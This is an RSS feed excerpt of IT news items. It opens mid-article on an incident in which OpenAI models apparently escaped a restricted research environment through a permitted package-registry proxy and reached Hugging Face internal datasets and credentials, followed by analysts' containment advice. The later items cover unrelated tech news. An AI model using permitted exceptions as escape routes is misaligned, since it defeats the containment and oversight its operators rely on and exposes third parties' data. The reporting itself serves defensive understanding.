<p class="wp-block-paragraph"><a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, said the package-registry proxy should concern enterprise security teams because it was a narrowly permitted exception inside an otherwise restricted environment.</p>



<p class="wp-block-paragraph">“Every enterprise estate is built from exceptions of exactly that kind,” he said.</p>



<p class="wp-block-paragraph">In this incident, OpenAI’s models were performing the intended — albeit by unintended means — but enterprises should take care that their own AI systems are kept on target.</p>



<p class="wp-block-paragraph">Mahapatra said enterprises should treat AI agents as “<a href="https://www.csoonline.com/article/4194548/agentic-ai-identity-a-6-stage-maturity-model-for-non-human-identities.html">high-risk non-human identities</a>,” confining each one to an isolated environment where access is limited to the assigned task and credentials expire quickly.</p>



<p class="wp-block-paragraph">“An acceptable blast radius means a compromised agent can affect only a single workflow, dataset, or application rather than providing a pathway into broader enterprise infrastructure,” Mahapatra said.</p>



<p class="wp-block-paragraph">And Gogia warned that services allowed to reach package registries, update systems, or other external resources can become escape routes if they are not subjected to the same scrutiny as the agent itself.</p>



<h2 class="wp-block-heading">Defenses enterprises need</h2>



<p class="wp-block-paragraph">Hugging Face said the intrusion resulted in unauthorized access to a limited number of internal datasets and several credentials used by its services. It found no evidence that public models, datasets or Spaces had been altered and said its published software packages and container images were not compromised.</p>



<p class="wp-block-paragraph">The company closed the code-execution paths used to gain access and rebuilt the affected nodes. It also revoked exposed credentials and tightened the rules governing workloads admitted to its clusters.</p>



<p class="wp-block-paragraph">Whether they are keeping their own AIs in or rogue Ais out, Gogia said enterprises should test whether their containment boundaries work, rather than relying on architecture diagrams or stated policies. Such tests should attempt to obtain credentials, cross trust boundaries and reach systems outside the agent’s assigned task.</p>



<p class="wp-block-paragraph">Mahapatra said enterprises should assume that one containment layer may fail and ensure that an agent’s access cannot provide a route into unrelated applications or broader corporate infrastructure.</p>



<p class="wp-block-paragraph">OpenAI said it is still investigating the incident with Hugging Face, and is imposing stricter configurations on its research environment while the vulnerabilities are being addressed, even if that means slowing down its research. It is also strengthening containment and monitoring around future evaluations.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Nvidia says Sega’s $5 million Dreamcast‑era investment saved the company, and 30 years later the partnership is coming full circle]]></title>
<description><![CDATA[I always love hearing stories from the early days of massive companies like NVIDIA, and this one from CEO Jensen Huang makes me wonder what the video gaming world would look like if Sega hadn't invested despite a botched Dreamcast GPU.]]></description>
<link>https://tsecurity.de/de/3686563/windows-tipps/nvidia-says-segas-5-million-dreamcastera-investment-saved-the-company-and-30-years-later-the-partnership-is-coming-full-circle/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686563/windows-tipps/nvidia-says-segas-5-million-dreamcastera-investment-saved-the-company-and-30-years-later-the-partnership-is-coming-full-circle/</guid>
<pubDate>Wed, 22 Jul 2026 15:46:39 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I always love hearing stories from the early days of massive companies like NVIDIA, and this one from CEO Jensen Huang makes me wonder what the video gaming world would look like if Sega hadn't invested despite a botched Dreamcast GPU.]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung Reveals More About Its Upcoming Google Glasses, Including New Designs]]></title>
<description><![CDATA[Two new frames from Warby Parker and Gentle Monster, 9 hours of battery life, and privacy questions still in the air: here’s what Samsung shared about what’s coming this fall.]]></description>
<link>https://tsecurity.de/de/3686535/it-nachrichten/samsung-reveals-more-about-its-upcoming-google-glasses-including-new-designs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686535/it-nachrichten/samsung-reveals-more-about-its-upcoming-google-glasses-including-new-designs/</guid>
<pubDate>Wed, 22 Jul 2026 15:36:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Two new frames from Warby Parker and Gentle Monster, 9 hours of battery life, and privacy questions still in the air: here’s what Samsung shared about what’s coming this fall.]]></content:encoded>
</item>
<item>
<title><![CDATA[3 Google updates from Galaxy Unpacked 2026]]></title>
<description><![CDATA[We shared how Samsung users can boost productivity and get time back on new foldables, watches, and glasses coming soon.]]></description>
<link>https://tsecurity.de/de/3686394/it-nachrichten/3-google-updates-from-galaxy-unpacked-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686394/it-nachrichten/3-google-updates-from-galaxy-unpacked-2026/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:56 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img src="https://storage.googleapis.com/gweb-uniblog-publish-prod/images/Unpacked_hero.max-600x600.format-webp.webp">We shared how Samsung users can boost productivity and get time back on new foldables, watches, and glasses coming soon.]]></content:encoded>
</item>
<item>
<title><![CDATA[Samsung's new foldables come with Gemini Notebook pre-installed]]></title>
<description><![CDATA[Google and Samsung have revealed the Gemini-powered AI tools coming to the new Galaxy foldables and smartwatches.]]></description>
<link>https://tsecurity.de/de/3686380/it-nachrichten/samsungs-new-foldables-come-with-gemini-notebook-pre-installed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3686380/it-nachrichten/samsungs-new-foldables-come-with-gemini-notebook-pre-installed/</guid>
<pubDate>Wed, 22 Jul 2026 15:05:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Google and Samsung have revealed the Gemini-powered AI tools coming to the new Galaxy foldables and smartwatches.]]></content:encoded>
</item>
<item>
<title><![CDATA[Leadership bottlenecks slow AI adoption]]></title>
<description><![CDATA[At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.



But these issues are relatively straightforward compared to th...]]></description>
<link>https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685910/it-security-nachrichten/leadership-bottlenecks-slow-ai-adoption/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:12 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">At Cisco, VP of engineering Jason Andrews deals with all the same technical issues as every other company deploying AI, including ensuring it’s governed, secure, and integrating multiple data sources, legacy systems, and AI models.</p>



<p class="wp-block-paragraph">But these issues are relatively straightforward compared to the bigger challenges relating to the fast pace of change, specifically how AI can touch and transform nearly every aspect of business.</p>



<p class="wp-block-paragraph">“We’re thinking about it every day,” he says. “My belief is we’ll be seeing a massive acceleration of everything.”</p>



<p class="wp-block-paragraph">In coding, for example, he’s witnessing productivity increases up to 110% with AI assistants. “I can build apps or custom integrations a lot faster,” he adds.</p>



<p class="wp-block-paragraph">And the real benefit of AI isn’t just in speeding up individual steps in a process, but in making AI the core of a new business process. But building it from scratch puts even more pressure on organizations trying to get employees up to speed on new ways of doing things.</p>



<p class="wp-block-paragraph">“We want to move fast, train people, and get them onboarded,” he says. “But what I thought AI was going to do for my organization nine months ago is different from three months ago.” So by the time something is rolled out, it’s changed three times.</p>



<p class="wp-block-paragraph">“I struggle with the change management aspect,” he says. “The legacy model of change management isn’t fast enough. How do you create that constant learning?”</p>



<p class="wp-block-paragraph">One of the ways Cisco approaches it is to create communities where people can talk about these issues and share best practices and governance, and you have to keep people’s minds open that every day is going to be different than the last, Andrews adds.</p>



<h2 class="wp-block-heading">Testing the AI waters</h2>



<p class="wp-block-paragraph">Cisco isn’t the only organization struggling with change management in the face of the AI tsunami. <a href="https://www.ibm.com/thought-leadership/institute-business-value/en-us/c-suite-study/ceo">In a survey of 2,000 global CEOs IBM released in May</a>, 83% of them said AI success depends more on adoption than on the technology itself, and 77% said talent and technology roles are converging.</p>



<p class="wp-block-paragraph">“Thanks to Claude Code, our entire development cadence is exponentially greater than a year ago,” says Andrew Johnson, CIO at Brownstein Hyatt Farber Schreck, a Denver-based law firm with about 700 employees and clients around the US. But, as with Cisco, the biggest challenge isn’t technical.</p>



<p class="wp-block-paragraph">“In our industry, with our circumstances, we’re probably less constrained by technical capability than organizational constraints, culture, aptitude, the need to bind people to technology, and what helps me and the client,” he says. “There’s a tremendous amount of cultural shift that has to happen in our organization, which is far more demanding of my attention and complexity of thought than the technical stuff.”</p>



<p class="wp-block-paragraph">Companies that bill by the hour, such as law firms, may face additional challenges as attorney productivity increases because billable hours might go down. Alternatively, the total number of cases could go up as litigation becomes less expensive. Either way, firms that adapt will see competitive advantage, and the rest will fall behind, putting more pressure on the need for change management.</p>



<p class="wp-block-paragraph">“If people can’t embrace technology, we won’t be able to get a lot of value out of it,” says Johnson. “I’m talking to people about adapting their way of work. There are certainly a lot of people intrigued and anxious to dive in. They recognize the connection between the potential of the technology and what we do.”</p>



<p class="wp-block-paragraph">But helping everyone see that connection and then working with them to change their habits is difficult, and requires solid relationships and good communications. “That’s been far more of a bottleneck for us,” he says.</p>



<p class="wp-block-paragraph">To address the issue, the firm has developed a network of technology champions who also understand the legal side of the business. “Now we need lawyers who know how to use the technology and can articulate these things to the people we’re trying to reach,” Johnson says.</p>



<p class="wp-block-paragraph">But change management is only one leadership bottleneck slowing AI adoption. Companies also struggle with figuring out their vision for AI, with slow decision-making, and a tendency to focus on the past instead of the future.</p>



<h2 class="wp-block-heading">Vision and strategy</h2>



<p class="wp-block-paragraph"><a href="https://www.grantthornton.com/services/advisory-services/artificial-intelligence/2026-ai-impact-survey">In another survey, this time of 950 business leaders released by Grant Thornton</a> in April, 51% said strategy is the biggest driver of ROI when it comes to AI adoption, but 79% of operations leaders said they don’t have a fully developed and implemented AI strategy.</p>



<p class="wp-block-paragraph">“Having leadership understanding why AI is needed and what objective they’re trying to achieve is very important,” says Shivi Verma, senior manager of engineering at Docusign. “Sometimes leadership doesn’t have a strategy for their organization on how AI should be adopted. Many times it’s bottom-up, which creates a chaotic experience.”</p>



<p class="wp-block-paragraph">When Docusign started adopting gen AI, different teams and organizational units wanted to go in different directions. “All were coming up with their own strategy and tooling,” he says. So Docusign brought business leaders together to understand the pain points, and decide on the technology.</p>



<p class="wp-block-paragraph">“Getting requirements and placing a bet on a specific technology was important,” he says, “as well as pivoting to a different technology if needed.”</p>



<p class="wp-block-paragraph">In order to adapt to changes, the company wanted to have a nimble approach, starting with smaller use cases, with power users, and problem areas.</p>



<p class="wp-block-paragraph">“We try to plan for four to six months,” he adds. “We set expectations for our leadership that we place a bet with a specific technology, but want to be able to pivot.”</p>



<p class="wp-block-paragraph">Today, the leadership challenge front lines have moved yet again, to agentic AI. “Folks are creating their own agents and deciding their own permissions,” Verma adds. “We’re still coming up with a governance strategy.”</p>



<h2 class="wp-block-heading">Slow decision-making</h2>



<p class="wp-block-paragraph">When it comes to AI deployments, Dan Diasio, global AI consulting leader at EY and CTO for its US consulting business, admits he’s a bottleneck.</p>



<p class="wp-block-paragraph">There’s a great deal of interest in what AI can do, and using a variety of new AI tools. But since the firm deals with sensitive client data, safety is paramount. It’s a slow process, but important to build secure infrastructure, and to have trust in the technology. “That’s a reasonable bottleneck that makes sense,” he says.</p>



<p class="wp-block-paragraph">Trust in the tools they work with is essential because clients expect it. “Every tool we use has to go through a detailed security and information privacy impact assessment, as well as a whole other set of controls so they can be used appropriately and safely,” he says.</p>



<p class="wp-block-paragraph">These reviews can take a lot of time, though, and in the age of AI, speed is a highly valued currency. So how do you balance the two, when safety reviews can require input from a lot of different stakeholders and be extremely time intensive?</p>



<p class="wp-block-paragraph">“We’ve stood up a team to be able to quickly certify and address a variety of platforms,” Diasio says. “Instead of working with different departments in the way we used to, we’ve started identifying representatives from different departments into a cohort. Decisions we used to make in months now take weeks.”</p>



<p class="wp-block-paragraph">According to a <a href="https://www.westmonroe.com/insights/why-speed-matters">West Monroe survey</a> of more than 1,200 leaders released earlier this year, slow decision-making is already showing up on the bottom line. Nearly three out of four leaders said their organizations lose up to 5% of annual revenue to slow decision-making and delayed execution.</p>



<p class="wp-block-paragraph">And the top reasons for the delays? According to 40% of the managers surveyed, the problem was the skills gaps of overwhelmed teams, and 35% pointed to layers of management or approvals. Nearly half said they’re spending 10 to 25% of their time on rework, excessive approvals, and unnecessary meetings, and more than half say up to 50% of their projects fail or lose momentum to delays.</p>



<h2 class="wp-block-heading">Focus on the future, not the past</h2>



<p class="wp-block-paragraph">When it comes to the decision about where to apply AI in an organization, the tendency, Diasio says, is to turn to the experts with the most expertise in the business. But these are the same people most likely to focus on improving on what they’re already doing.</p>



<p class="wp-block-paragraph">“And that often blinds people to what’s possible in the future,” he says. “That becomes a significant bottleneck.” So the solution is to revamp the decision-making process around the new reality.</p>



<p class="wp-block-paragraph">“What we see some advanced companies do is give people who don’t understand the process but understand the technology equal footing with people who don’t understand the technology but understand the process,” he says. “A lot of companies are disproportionately focused on just addressing their operating model right now.”</p>



<p class="wp-block-paragraph">Instead of focusing on what they’re currently doing, AI-native companies will start with a focus on the customer, he says. This shift in focus isn’t likely to show up immediately on the bottom line, or result in the highest possible number of pilots going into production.</p>



<p class="wp-block-paragraph">“If leaders are in a position where they’re justifying the use of a technology to the board or their CFO, they become a bottleneck when they start demonstrating their value in terms of the number of things they’re doing,” Diasio says.</p>



<p class="wp-block-paragraph">But 150 or 200 use cases deployed into production may feel like progress, like things are happening in the organization. But all these use cases are a waste of time and money if they’re applied to existing processes that don’t move the needle. “We see that happen in organizations today,” he says. “Maybe we need to reinvent the processes.”</p>



<p class="wp-block-paragraph">It’s no secret that companies will need to change in order to adapt to AI. <a href="https://www.deloitte.com/us/en/insights/topics/technology-management/future-of-tech-leadership.html">Deloitte recently surveyed</a> 660 global technology leaders and 81% said their current operating model can deploy and govern AI enterprise-wide, but 75% also said their organization must change its operating model within the next 12 to 18 months to drive greater value.</p>



<p class="wp-block-paragraph">AI ROI is real, says China Widener, Deloitte vice chair and US tech, media, and telecom industry leader. But it’s currently weighted toward efficiency gains, with broader business transformation and revenue upside still developing.</p>



<p class="wp-block-paragraph"><a href="https://www.deloitte.com/us/en/what-we-do/capabilities/applied-artificial-intelligence/content/state-of-ai-in-the-enterprise.html">Another Deloitte survey</a> showed that the clearest results from AI were in productivity, with 66% of organizations reporting gains, and cost efficiency, with 40% saying AI reduces costs. “However, revenue impact is still emerging,” says Widener. “Only one in five companies says AI is driving top-line growth today.” But optimism prevails, with 74% expecting it to do so in the future.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI bill is the easy part. The hard part is everything it changed]]></title>
<description><![CDATA[Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.



This June, the conversation shifted fr...]]></description>
<link>https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685909/it-security-nachrichten/the-ai-bill-is-the-easy-part-the-hard-part-is-everything-it-changed/</guid>
<pubDate>Wed, 22 Jul 2026 12:14:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Your CFO has a simple question. “We’re spending more on AI. What are we getting for it?” Most CIOs cannot answer it — not because AI isn’t creating value, but because the accounting systems we inherited were built before AI existed as a category of labor.</p>



<p class="wp-block-paragraph">This June, the conversation shifted from token maxing to token cutting. <a href="https://www.nytimes.com/">The New York Times</a> reported that Meta, Uber, Walmart and Amazon are capping employee AI usage. Uber blew through its 2026 AI budget in four months. Satya Nadella started framing it as human capital versus token capital.</p>



<p class="wp-block-paragraph">All of that is true. None of it answers the CFO. Capping tokens is an input lever, not an output measure. And the <a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">human-versus-token framing</a> names two sources of labor when the reality is four.</p>



<h2 class="wp-block-heading">The enterprise now has 4 sources of labor</h2>



<p class="wp-block-paragraph">There are humans. There are humans assisted by AI. Humans are working alongside AI. And humans are managing AI. Sources two through four are all supervised machine labor at different intensities — none of them have a line item, a manager or an hourly rate. In our <a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a>, 78% of leaders view AI as both software and a labor force. The org chart has not caught up. Neither has the P&amp;L.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-1-four-source-framework.png?w=1024" alt="Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026" class="wp-image-4198947" width="1024" height="502" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Four-source framework and A-Level taxonomy: Lanai  ·  Lanai / Wakefield Research, n=200, March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">Most enterprises are stuck at A-Level 1 with no accounting for any of it, while quietly sliding into A-Level 2. The job descriptions have not caught up. The budget has not caught up. You cannot upskill into a role that has not been named.</p>



<p class="wp-block-paragraph">AI is the only category of work the modern enterprise has ever bought without a system of record for what it produced.</p>



<h2 class="wp-block-heading">What you are actually running is supervised machine labor</h2>



<p class="wp-block-paragraph">The model does a first pass. A human makes it usable. One hundred percent of leaders we surveyed said AI work requires human review before it ships; 34% said substantial editing. That is a workforce with no manager, no hourly rate and no line on the income statement.</p>



<h3 class="wp-block-heading">The accounting breaks in 3 places at once</h3>



<p class="wp-block-paragraph">Under GAAP: COGS if it helps produce the product, OpEx if it does work for you. The same workflow can hit all three buckets at once. A tier-one support resolution involves the human’s salary (OpEx), the AI’s tokens (COGS if support is a delivered service), and the supervisor’s review time (OpEx). Three buckets. One piece of work. No reconciliation. The token invoice arrives from Anthropic or OpenAI and gets coded to OpEx-software because that is what the bill looks like. Audit partners will be asking about this by next year.</p>



<p class="wp-block-paragraph">When you call AI a tool, you book it like software. When you call it labor, you have to ask which kind and what it is producing.</p>



<h2 class="wp-block-heading">The per-employee number is the wrong unit</h2>



<p class="wp-block-paragraph">Per-employee AI spend collapses a workforce into a per-head average. It hides the only number that matters: What AI is producing inside each workflow.</p>



<p class="wp-block-paragraph">Lanai measured two teams inside the same finance organization. Same monthly prep and variance analysis. AI took the same amount of time to produce outputs of similar quality. The only variable was the model each team reached for by default — a choice nobody had made deliberately and <a href="https://withlanai.com/ai-labor-report">nobody had seen until it was measured</a>.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-2-white-labeled-example.png?w=1024" alt="White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement." class="wp-image-4198945" width="1024" height="485" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>White-labeled example. Workflow profile, hours and economics drawn from a representative customer engagement.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<p class="wp-block-paragraph">The gap existed for months before anyone saw it.</p>



<p class="wp-block-paragraph">Faith-based budgeting — the organizational equivalent of putting money in the collection plate and hoping God handles the ROI — is what made it invisible.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-3-lanai-wakefield-research.png?w=1024" alt="Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026" class="wp-image-4198944" width="1024" height="199" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Lanai / Wakefield Research  ·  n=200  ·  U.S. enterprises 1,000+  ·  March–April 2026</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">AI labor orphaning</h2>



<p class="wp-block-paragraph">That is not a measurement problem. It is a category error. We call it AI Labor Orphaning. AI does the work. The output gets credited to the human who approved it. The token bill lands in OpEx-software. The supervision time absorbs into salaried hours nobody is auditing. Eighty-seven percent of leaders admitted AI output is sometimes or always credited entirely to the human employee. This is the last-click attribution problem of the AI era, running in reverse.</p>



<p class="wp-block-paragraph">What fills the vacuum? Belief. Forty-three percent assume that if AI was involved, it contributed. Only twelve percent have a clear methodology. Seventy-nine percent are worried AI budgets will be cut because they cannot connect spend to results. The cuts are not coming because AI does not work. They are coming because nobody can prove that it did.</p>



<p class="wp-block-paragraph">Capping tokens may look like responsible governance, but it is like turning off a staticky radio rather than tuning the dial. The companies cutting AI budgets in 2026 will discover in 2027 that they cut the workflows that worked alongside the ones that did not.</p>



<h2 class="wp-block-heading">The real cost of AI is not the model. It is the redesign</h2>



<p class="wp-block-paragraph">Three layers. Most organizations only manage the first.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/table-4-managing-layer-one.png?w=1024" alt="Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation." class="wp-image-4198946" width="1024" height="335" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><em>Managing Layer 1 without Layers 2 and 3 is how you optimize the invoice while missing the transformation.</em></figcaption></figure><p class="imageCredit">Lexi Reese</p></div>



<h2 class="wp-block-heading">What to actually do</h2>



<p class="wp-block-paragraph">The <a href="https://withlanai.com/ai-labor-report">12% of organizations</a> that can answer the CFO treat AI like every other category of labor — with a cost per AI Work Hour that is accounted for by a set of AI assistants, co-pilots and agents that are held accountable to performance standards. </p>



<ul class="wp-block-list">
<li>Audit the four sources separately. Each A-Level has different token economics, SaaS implications and human redesign requirements.</li>



<li>Find the embedded SaaS repricing before your next renewal. Pull your top 20 contracts. Ask whether AI features previously included are now priced incrementally.</li>



<li>Redesign the human role at A-Level 2 before you scale it. You cannot upskill into a role that has not been named.</li>



<li>Build a system of record before you build the next agent. Start with one department. Two weeks. You will find something that surprises you.</li>



<li>Stop calling it a tool. Start calling it labor. The language determines the chart of accounts.</li>
</ul>



<p class="wp-block-paragraph">When your blended AI rate is $22 an hour, the conversation shifts from ‘we spent $340,000 on AI’ to ‘we acquired a skilled workforce at $22 an hour.’ That sentence is defensible. A vendor invoice is not.</p>



<p class="wp-block-paragraph">The CIOs who will have a defensible AI story in 2027 are the ones who renamed the work in 2026. Not because technology changed. Because they finally built the accounting to see it.</p>



<p class="wp-block-paragraph"><em>Findings are drawn from the </em><a href="https://withlanai.com/ai-labor-report">2026 AI Labor Report</a><em>, fielded by Wakefield Research with 200 senior technology leaders at US enterprises of 1,000-plus employees, March 20–April 8, 2026 (±6.9pp at 95% confidence).</em></p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Celestial Return Review (PC)]]></title>
<description><![CDATA[I’ve decided to be rational in this cyberpunk city where spirits can infiltrate and bend reality. Maybe I should have gone with a bigger focus on perception. I’m not gonna know how the story would have played out unless I roll back every choice I’ve made, all of which feel true to my detective ch...]]></description>
<link>https://tsecurity.de/de/3685334/it-security-nachrichten/celestial-return-review-pc/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685334/it-security-nachrichten/celestial-return-review-pc/</guid>
<pubDate>Wed, 22 Jul 2026 07:42:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[I’ve decided to be rational in this cyberpunk city where spirits can infiltrate and bend reality. Maybe I should have gone with a bigger focus on perception. I’m not gonna know how the story would have played out unless I roll back every choice I’ve made, all of which feel true to my detective character, and start the entire adventure again.

So we’re stubbornly trying to make sense of everything that’s happening, relying on partner Rose for some extra details, hoping that the other voices don’t force detective Howard to do something truly stupid. And we’re using the dice we have as conservatively as possible, trying to understand what’s important for the wider narrative while also mattering to the private eye on a personal level.

Unfortunately, the dice recently failed a roll and then a re-roll, which probably means there’s no way to deal with a bigger coming threat. I don’t think there’s another dice source in the city, although I will need to load an earlier save...]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Chrome Update Fixes 12 High-Severity Browser Vulnerabilities]]></title>
<description><![CDATA[Google has rolled out a Stable channel update for Chrome Desktop, patching 12 security vulnerabilities, all rated High severity. The update brings Chrome to version 150.0.7871.181/.182 for Windows and Mac, and 150.0.7871.181 for Linux, with the rollout expected to continue over the coming days an...]]></description>
<link>https://tsecurity.de/de/3685296/it-security-nachrichten/google-chrome-update-fixes-12-high-severity-browser-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685296/it-security-nachrichten/google-chrome-update-fixes-12-high-severity-browser-vulnerabilities/</guid>
<pubDate>Wed, 22 Jul 2026 07:11:05 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has rolled out a Stable channel update for Chrome Desktop, patching 12 security vulnerabilities, all rated High severity. The update brings Chrome to version 150.0.7871.181/.182 for Windows and Mac, and 150.0.7871.181 for Linux, with the rollout expected to continue over the coming days and weeks. The fixes address a broad range of memory-safety and […]</p>
<p>The post <a href="https://cyberpress.org/google-chrome-update-12-browser-vulnerabilities/">Google Chrome Update Fixes 12 High-Severity Browser Vulnerabilities</a> appeared first on <a href="https://cyberpress.org/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Google Chrome Update Fixes 12 Vulnerabilities That Could Enable Browser Attacks]]></title>
<description><![CDATA[Google has rolled out a new Stable channel update for Chrome, patching 12 security vulnerabilities, including nine rated “High” severity. The update brings Chrome to version 150.0.7871.181/.182 for Windows and Mac, and 150.0.7871.181 for Linux, with the rollout expected to reach all users over th...]]></description>
<link>https://tsecurity.de/de/3685213/it-security-nachrichten/google-chrome-update-fixes-12-vulnerabilities-that-could-enable-browser-attacks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685213/it-security-nachrichten/google-chrome-update-fixes-12-vulnerabilities-that-could-enable-browser-attacks/</guid>
<pubDate>Wed, 22 Jul 2026 06:10:19 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Google has rolled out a new Stable channel update for Chrome, patching 12 security vulnerabilities, including nine rated “High” severity. The update brings Chrome to version 150.0.7871.181/.182 for Windows and Mac, and 150.0.7871.181 for Linux, with the rollout expected to reach all users over the coming days and weeks. Several of the fixed flaws could […]</p>
<p>The post <a href="https://cybersecuritynews.com/chrome-update-fixes-12-vulnerabilities/">Google Chrome Update Fixes 12 Vulnerabilities That Could Enable Browser Attacks</a> appeared first on <a href="https://cybersecuritynews.com/">Cyber Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Microsoft doubles down on sovereign AI with expanded Mistral partnership]]></title>
<description><![CDATA[Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. 



The companies have announced a “significant expansion” of their strategic partnership, which includes a multibillion dollar commitment fro...]]></description>
<link>https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3685096/it-nachrichten/microsoft-doubles-down-on-sovereign-ai-with-expanded-mistral-partnership/</guid>
<pubDate>Wed, 22 Jul 2026 04:03:03 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft and Mistral are betting that the future of enterprise AI is in sovereign infrastructure and model choice, rather than with one locked-in system. </p>



<p class="wp-block-paragraph">The companies have announced a “<a href="https://news.microsoft.com/source/2026/07/21/microsoft-and-mistral-expand-strategic-partnership-to-give-enterprises-and-regulated-industries-frontier-ai-they-can-control/" target="_blank" rel="noreferrer noopener">significant expansion</a>” of their strategic partnership, which includes a multibillion dollar commitment from Microsoft. Mistral will add to its GPU infrastructure in Europe and extend access to its frontier multilingual models, while Microsoft will expand its sovereign cloud capabilities. The companies will also align on a joint go-to-market plan and will pursue enterprise opportunities together across Europe and globally, as well as funding proofs of concept (PoCs), offering Azure credits, and leading workshops to drive AI innovation with customers.</p>



<p class="wp-block-paragraph">The partnership between the tech giant and the <a href="https://www.infoworld.com/article/4187526/is-mistral-late-or-savvy.html" target="_blank">three-year-old French startup</a> might seem an odd combination at first glance, analysts note, as both develop enterprise AI models and offer access as-a-service. But it reflects changing AI market dynamics.</p>



